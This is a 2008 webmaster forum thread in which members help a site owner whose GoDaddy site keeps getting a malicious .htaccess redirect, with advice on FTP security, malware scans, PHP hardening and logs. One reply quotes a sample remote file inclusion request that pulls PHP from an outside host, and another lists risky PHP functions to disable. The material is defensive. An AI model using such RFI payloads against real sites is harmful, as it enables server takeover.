Hackers getting into my website

[helloamber]

Hi, I'm hoping someone could help on how a hacker keeps getting the login information into my godaddy account and adding an htaccess file that re-directs my site to theirs!?

when this happens, my site gets redirected to this fake blog adsense site. I've changed my user name and passwords several times, yet this person 'hacker' keeps getting into my account and adding this htaccess file.

Godaddy can't help - they don't know how someone could be getting in. I've deleted the ht access file multiple times and they somehow keep getting it in there to redirect.

Any help would be greatly appreciated!

Thanks,

[Jane_Doe]

You might try changing hosts.

[rj87uk]

Also check your own computer for a virus that would allow a hacker access to yours files?

RJ

[lammert]

In this specific case where the problem persists over multiple usernames and passwords, I would expect that your computer is infected by some sort of keystroke logger.

[rj87uk]

That was my thoughts lammert.

[note to mods, are links to free virus scanners ok?]

Use this first a Housecall: [housecall.trendmicro.com...]

Then download and run Adaware: [lavasoftusa.com...]

Last try Spybot Search & Destroy: [safer-networking.org...]

[aspdaddy]

..can't help - they don't know how someone could be getting in

Sure they do, htaccess is added to sites by exploiting ftp either with a dictionary on a weak password or the protocol itself. If it was a keylogger the card used to pay for your hosting would be the target.

[dial_d]

Do you use PHP on your site?

I had an ongoing problem with hackers on one of my sites. In my case, they were executing shell command by adding strings to existing urls.

For me, adding a php.ini file which disabled most unnecessary functions helped.

[lorax]

Which user name and pwd have you changed? The FTP?

[helloamber]

Hi, my client has changed user name and passwords for both the godaddy account and the ftp. He did run the programs suggested in one of the posts:

I found the following with each program. I did remove the .htaccess file from a separate machine this morning. We'll see what happens tomorrow morning.

TrendMicro Housecall (I run TrendMicro Internet Security as my Anti-virus/firewall/etc.)
found 1 adware - bestoffers
found 10 HTTP cookies

Ad-Aware
found 7 tracking cookies

Spybot
found 2 entries, 1 registry value and 1 file of discontinued adware

[lorax]

Are you running and freeware/open source code on the server? What about PHP? If you have it installed, have you closed the hooks or are they open (exec, popen, passthru, proc_open, shell_exec, system, allow_url_include)?

[SteveWh]

Echoing dial_d and lorax, be sure to create a php.ini file that prevents remote file inclusion. I believe GoDaddy permits php.ini, so use it. You can also block RFI attempts in your .htaccess file using a different method. If it won't damage the functionality of your site (you need to test it), it's best to put defensive code in *both* places.

If you use blog, forum, CMS, etc etc software (WordPress, for example), it *must* always be kept at the latest version or else your site is a sitting duck.

Note the timestamp of any file that was modified maliciously. Then search your access logs (FTP and HTTP) for who was accessing what at that moment. I think by default GoDaddy doesn't provide access logs, but they offer an add-on service that does, and it might be worth it. As an alternative, if you are somewhat proficient with PHP, you could probably create a header include file that would write the details of each access to your own private access log, to substitute for the server one.

RFI attacks are rampant these days. In your logs, they look similar to:

GET /index.php?inc=hxxp://someothersite.com/safe.txt?

If your php.ini file does not block RFI, then, as index.php runs, it retrieves the safe.txt file from the remote site. safe.txt is usually written in PHP and contains commands that modify files on your server, such as overwriting your .htaccess file. It is able to do that because it runs as if it were an integral part of your index.php file. It is a way hackers get their own code to run on your server as if you wrote it.

There are several other possibilities how this is occurring, but RFI is the first to defend against. If that doesn't work, start looking at the less common ones.

[edited by: SteveWh at 7:54 pm (utc) on April 2, 2008]

[helloamber]

Thanks very much, I'm passing all of this onto my client. He said he deleted the access file again this morning, and so far things are working properly. But I'm not getting my hopes up just yet!

[SteveWh]

Be sure to tell the client that deleting the .htaccess file is not going to make one bit of difference. It's not the problem, it's just the symptom. Someone is getting access to your server files. Altering .htaccess is just the thing they choose to do once they get in. They could delete the whole site if they want. Don't focus on .htaccess. Find the security hole.

[londrum]

they are probably not be getting in at all now.
it is highly unlikely that they keep coming back to your site to check whether you've deleted it.

they have probably left a script somewhere which recreates the .htaccess file whenever it's deleted.

there are loads of things which could trigger it. maybe they check it randomly every hundred visits, or maybe they've set it up so a visit to a specific URL on your site triggers the script, checks the file and rewrites it -- like dial_d just said above "In my case, they were executing shell command by adding strings to existing urls."

instead of looking for the .htaccess file, look for the script. the obvious place would be cgi-bin. but a better place to hide it would be outside of the root.
they've probably named it something innocent. and they might have hidden it. they might have started the filename with a dot, because that sometimes doesn't show up on FTP programs.

[SteveWh]

One extremely temporary fix would be to create a copy of your normal .htaccess file (or a blank one, if your usual one is empty) in an inaccessible location, then create a cron job that copies it into public_html every hour. What that would accomplish is use an automated means to periodically undo the change they are making by an automated means.

[leadegroot]

There could also be a rootkit installed when they first got in, giving them a backdoor to the server,

[Romeo]

I've deleted the ht access file multiple times and they somehow keep getting it in there to redirect.
Any help would be greatly appreciated!

Well, there may be a lot of different reasons you should carefully analyze to finally chose one of the following:

(1) someone saw your FTP password written on the yellow post-it sticker on your flat screen - d'oh.
(2) your client side FTP password got sniffed by a keylogger on your client workstation and sent to a bad guy, after you caught a virus 3 months ago.
(3) your FTP password got intercepted when it traversed the net in the clear (FTP sends passwords and data unencrypted).
(4) your shared host is so badly configured that each user can easily read or write content of arbitrary other users.
(5) your shared host has some internal security problem that could be exploited by one user to get root privileges and alter content of other users.
(6) your shared host or your dedicated server has some externally exploitable security problem (e.g. a security hole in the admin panel or other system software, or caught a root kit) that invites attackers from all over the world into the server to play their games, perhaps even using automated scripts to achieve mass-defacements.
(7) you have put up insecure and expoitable scripts (PHP, perl, whatever) on your server on your own to achieve similar effects to those explained in (6).
(8) on a shared host, another user has put up insecure and exploitable scripts (like in (7)), and you are enjoying the fallout from this.

Some options are unlikely (like (3)), some are *very* likely (options (7) or (8)).

Think about all possibilities and take appropriate countermeasures, some effects are under your own control, and some effects may come from the fallout out of a shared hosting environment:
(1/2) : secure your local environment
(3) : use other protocols (rsync), if possible
(4/5/6/8) : move to another hoster, or, to avoid the risk of shared hosting, move to a dedicated server (and if you are on a dedicated server, ensure that it is administered properly and security patches get always applied in time).
(7) : exercise safe and secure computing: only put quality software onto your server, that you can trust and that has been developed with a strong eye on security aspects. Don't use own scripts unless you know what you are doing and have fully understood all security risks that may be imposed.

HTH and kind regards,
R.

[edited by: Romeo at 1:11 pm (utc) on April 3, 2008]

[vincevincevince]

Add an empty .htaccess file via FTP. If things are set up correctly then Apache won't be able to overwrite it due to permissions problems.

Next, find your 'web root' directory, the one in which the .htaccess file resides, and change the permissions so that Apache cannot write to it at all.

In the mean time, read every line of script on your site yourself (and if you don't understand it, pay a professional to do so). 99% chance the problem is with a script on your site.